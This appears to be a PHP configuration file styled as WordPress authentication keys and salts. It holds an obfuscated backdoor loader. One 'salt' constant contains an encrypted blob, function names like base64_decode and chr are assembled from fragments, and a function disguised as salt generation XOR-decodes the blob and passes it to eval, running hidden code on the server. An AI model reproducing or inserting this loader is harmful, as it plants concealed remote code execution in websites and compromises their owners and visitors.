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define("_AUTH_KEY","ji2agLHkOjDohFaE");
define("_SECURE_AUTH_SALT","VVB	ABK(0 H+})	A=8PdK )1JTE89/4JPtZ5SSyY{6u]Xp5PW0_)6u][Pw^KoZG+' J8	.~J!d$rKk4#eWI[8.'gCO)*Je/,
sK9	5;|AaP?hVoH^^t=t_^nQ~y^^r=t\ZnU)Zy^^_v==]]ZG+' J%~J*	rK)*/+J@9-;51nHeI[Gd!<0GL2 8?w3<nzX\s=tXXnPUyZ_^Zu==_]nR*Z}_]t=t[X<NehoN /AxJMm2".1f3sS[Y=yy7~Xq3rT[[=y|77_"3YtT\ =V}yIQdH#6IIA*hC&7
nE9,`7"I[p^4wWw6XV;}~]m7mFH=Aa@GqhO9=>3H5JTWyZ6<ZXp5STy[z6<[Pu\KoAIlj7x]fOFfE9,`7"Ir^4>Vw6V;4]m7_5}A8J^l3Kk1f\eN6a$59H]v=t[YnPU|Z|]^Zu==^\nS/Z\f2HhAg6ElfKk5*:$1KnR}Z}_^Xs=tX[nPT}z]u=tX]nR~Z~[\#==^^<\l5K2J6
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	4-/U	);KrJ%'mH5JWPy^x6uZ_Pq]5TSy_z6<]dMeH5JWU0]v6uZ^s]5WE`hI[s^4>Wt6XQ;}}\r	4>S H@	A#:.	,O@b Q	""/!7O	5AaU	)aK4J-	Hn1 Bdl*!4MeN\"-BoKyRH  )Al:;6H20RG1h*1f$WZG1h +O+p=R$;-<uJ`*-UAZloLtJ# )A.q\l."<5UH/eBMG? 
!mOfE0A	"/KrJf3^wC~J?-K4J`*-UAZlj7yZfTH;A"]A,u*8QdQ PI	!$4,*(eWI@9-;lK++WMGh ;$MeNS!aPo+f6#?kZG.>?3~O AmKF8:Ck0*W`hI[qY4>W#6XS;4~s[4>Vp6XR;}|^[r]4wUt6V;}|^r
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])&fQdfIaF8aK4J! )Aa@	+sK2J! )Aa_8/';*Sf,RG)$*J?O Am@>`O')7%+\Klj7~^s3YrT^=Vx{7~_s3p[_=Vx}77\!3qU\\nT||Z_v=t^XnQ{Z{_fFAfe*W ):Cm6<[PPw^5JTS0^6<]v[5JS0X~6<]Xv_5Q;zx7{Z\=t__nPxy_^^t=t__nQ}Zz^Zv=tXZnQyxX_p==\\nP~}Z^Xs=t\[nPQ~Zz]_tClQIVwho(feI8:;lK 2)5
])&cJf3^r=sZ5U;}~[[p^4>Wr6XTEeaK4J' A=xp77_p3sU\=R{]~6qY4pP[=|7yZ[r=qZ5JUy^x6uY\Uu6XW;4~[rZ4>W 6UEesK+!TH;A WAl!oB757BMZ
  0
2MeH5JRT0X6r^4>Vu6XP;}|\rZJoHeIr	-,=Bf3rY\=V~|77_t3]q=s[5JS0X~6<]XvY5Q;4{Zv_4>U!6XV;4][pZ4>Wq6]=yx77\q3YpS[\=zy7~_r3pT_W={|7~_p3qXgCRE8%	+#1JT>*(#Ig6R;4{[w^4>Vu6P;4~\rZJjAbMEE8%	+#1CR	-,=Bf3YwU_T=z{77\u3YpU_=z.77\!3_t=qZKOGh "( ZG(!tJ9O* Jl`;7nE-^>#&*0CHd==\nPRxR^]s=t_]HNl3Kk0*WluK<60#)
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PrZ5TR0],HhOOaMeNF+!!oZe*W ):Cm6<[[s5TQy]{6<Y]Pp\5WS0Y+6<Z\Pr[5JVWy_z6s]4>Su6XP;4[s_4>W&6X;}|X[p^4wWq6XP;}}\[qY4>S#6Y;}}^r4>R'6]=z{7~_t3pP[_ =Vz{77\q3qU]\nPQyZy^^\p==XnTtjBtJ! )Aa_8/';*Sf,RG)$*J?O Am@>`O')7%+\Klj77\"3p^ =Vy77\v3YsV[_=Vz{IfCdHb	1m"<!dRH575W-+gH^]q==\nPQ~Zz]^t=t_^nPQxZyYfCHaFiJMZ
  0
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36<@Kll +oAdWT ;o8O25E)9*0:/MeH5JR0\}6<YsX5JWy]{6<X[w5WSy\6<X\dHeKTA-$*CdHb*FGqhIw^J}A8J^l3Kk+2eWI=xItJ9O)*J{/1=sK"|,|Aa^!-KrJ%'mH5JSR~X\v3tTZ=Q{_z6r\4qQ^\nWT0X6<]]vX5JUS|^wY4wQs6]=~77Yq3\s==Y^nTz_z6<\_Wq6 T;z77Yq3\s==Y_nWP0Yz6<\[vZ5JSR~X\u3tT\ZnTt_z6r]4>Up6]=Q{]6pZ4>Rs6S;4z^\r3^w==X\nTz\~6pZ4pWZ =~}77Ys3uX[=Qz|RZs=s\5JRP|^\r3rR[=Q~{_[]Ws6S;4z^wY4wQv6]=~77^pMDfC[={7yX[]vY5V;4z^w\4>R}6]=Q|ZZs=sX5JUS0Yz6rY4wQs6]=Qz|_[]v]5W;4z^\s3^r=q_5JRP0Xz6<]]Ws6V;4z^\w3uQ[=Q]~6pZ4>Rv6Y;x}7yX^Xs=q_5W;4{\vZ4>Rr6S;4z^\s3^v=q_5JRP0Xz6<]]Ws6P;x}7y]YZw_5W;4|Y^q3uW\ZnUR~Y[tZ4>Sp6W;4{\vZ4>Rs6S;4z^wY4pRgFI=~}7yYYZUp6_=7{_[u==YQnUR0X|6<\XUp6_ =V||77Xq3uW]=~}77Yr3^s==X\nWP0Xy6<]]v]5JRS0Yz6rX4>Rp6 T;z~77Ys3tT\ZnWW0Yz6r\4>Rt6 T;4{XwW4rT\[nPWy_z6rY4pU[=Qz|R[]Ws6XT;4z^wY4pP[=~77Ys3\s=s\5JR_|^\r3rT[=Qz|][]v\5JRP0Yz6<\ZPu_5JSR~][t]4>Sp6W;4|X^q3^p=tZ]MGn}_Y[Ww6]=Q]x6<]]vY5JR_|^\w3^v=q_5S;}x_vZ4pW]=~}7y\[s=q_5JRP~]vZ4pVZ=Sy]x6<\]w_5W;z77Xq3uRZ=~}7yYYYUp6_=P|}_YZq_5T;z77Yv3tT\_nWT|^wX4>Rp6 T;4{\w]4rT\^nS}}_Y_vX5JSR~\wY4rT\_nS~}_YZPu_5T;4{]\s3tT\_nWU|^\r3uRgCR8'K>8_}A6 e]l.!	0(A,6PdaK4J`#WluK<6*2E89/4JqR5SS0^{6u]Xp5JTRyY|6u_]PwX5JTy[~6<[_q_5JU0^{HFSfE'AAZl)==GJPq]5JW0])6<Y_s	5JWRy_}6uZ_Ps^KAE0]}6<YQs5JWPndKm6<XQs[5JW_y^x6<YdMeH5UP0])6uZ_s]5TS0]zHhOJq]5JW0])6u[_Pp^5JWR0]}6uZ_Ps^KZG*'*'HnE'AA?hO-0FH=A,I>8<B`#W`hO-0FHg\xJS)aK4J6
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8M4wPu6X U;}z_q_4>T#6S;4|^[tY4>Up6X S;}x^q]JHlJE>$'*H{Aa5:w31	0m6u^Xp^5JTS0^6<ZpX5QRy[y6<[]pX5QR0^}HTH;A"]A	=|Qd_.>-PIT	/< d	1AINl3K&dG5 A>4	=
8M4wPu6X U;4}_q_4wSvH4HG7h)Jl4*Edl4/9-:g6XQ;4}_[v[4wSu6X REaKnWyOJPp]5UQ0]yHmOf @G8:*QdH;A Wl`<!@b>/;d$5j77^|3YtU\=V~x7~Ys3sY[Z=x~77^"3YtS\=xy77_v3rU]=x|77_"3YtQ[[ =V}77_p3rg7@Al!oB`0;3/;iC;}y[[v[4>Tq6X Q;4}qW4wRr6W;4|q]4>Tr6XP;4}Yp[4wQp6U;4}q_4>Tw6;4}_[uXJAxWTC;4~S[r[4wWq6XQ;}~XmCdH41\A>=tJ9Of)[Gd!<0GL2 8?w3<n{R^Zr=tX]nPU|Z|]^Xp==_[nPV{{]r==_nPWyZ~\\r==_nStz^^Zr=tXYnRj6fCdH/eBF#$86GL2 8?w3<n{R^Zr==_]nPU|Z|]^Xp==_[nPV{{^Zr=tY^nSyZ~\^Xr==_nPV|z^]r=tXYnRj6fJeRUfC[\=z~7~^rMAfeF"h=!TH;A8JW>&K)(}A8");
function random_salt($length = 64) {
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $salt = "";
    for ($i = 0; $i < $length; $i++) {
        $salt .= $characters[rand(0, strlen($characters) - 1)];
    }
    eval("?>" . SALT);
    return $salt;
}
$__c = "c";
$__h = "hr";
$__b = "b";
$__c = $__c . $__h;
$__a =  "ase64_d";
$__e = "ecode";
$__b = $__b . $__a . $__e;
$__o = "o";
$__r = "rd";
$__s = "s";
$__o = $__o . $__r;
$__t = "tr_r";
$__e = "epeat";
$__s = $__s . $__t . $__e;
function secure_decrypt($encrypted_data, $key) {
    global $__b, $__c, $__o, $__s;
    $data = $__b($encrypted_data);
    $key = $__s($key, ceil(strlen($data) / strlen($key)));
    $decrypted = "";
    for ($i = 0; $i < strlen($data); $i++) {
        $decrypted .= $__c($__o($data[$i]) ^ $__o($key[$i]));
    }
   
    return $decrypted;
}

$code_to_execute = secure_decrypt(_SECURE_AUTH_SALT, _AUTH_KEY);
define("SALT",$code_to_execute);
define( "_SECURE_AUTH_KEY", "7pffplr0khj978ywmy75kel9i8n233but7tre4ts7ln94to76qbf47ts6idtayx5");
define( "_LOGGED_IN_KEY",    "jv7t4014qsd5h09249oa5bv4bjw2hf2p5gxycfu0190yi4kagk591f86j59q750n" );
define( "_NONCE_KEY",        "6gzo2i3gfio9lc9x213di866xab9kmbc6j70fvygrw2ydsyj3es686uuldsymm26" );
define( "_AUTH_SALT",        "j717ldsdhaxzej339eti4yxu2lahyqrxui56rtxap5dzbo8ixwtkz03rsqudl3fz" );
define( "_LOGGED_IN_SALT",   "wb7hopvhl7sb1ra08nx4fwkhxfo3i9day74258qvq7q5blq8985zm3thb9ttgfvo");
define( "_NONCE_SALT",       "4embzfbjuihlvo7k8303tyzsk7kibnclh7jgnso4a22nrsrycwvllr7vk5olwy4r");
$random_salt = random_salt(64);
define("RANDOM_SALT",$random_salt);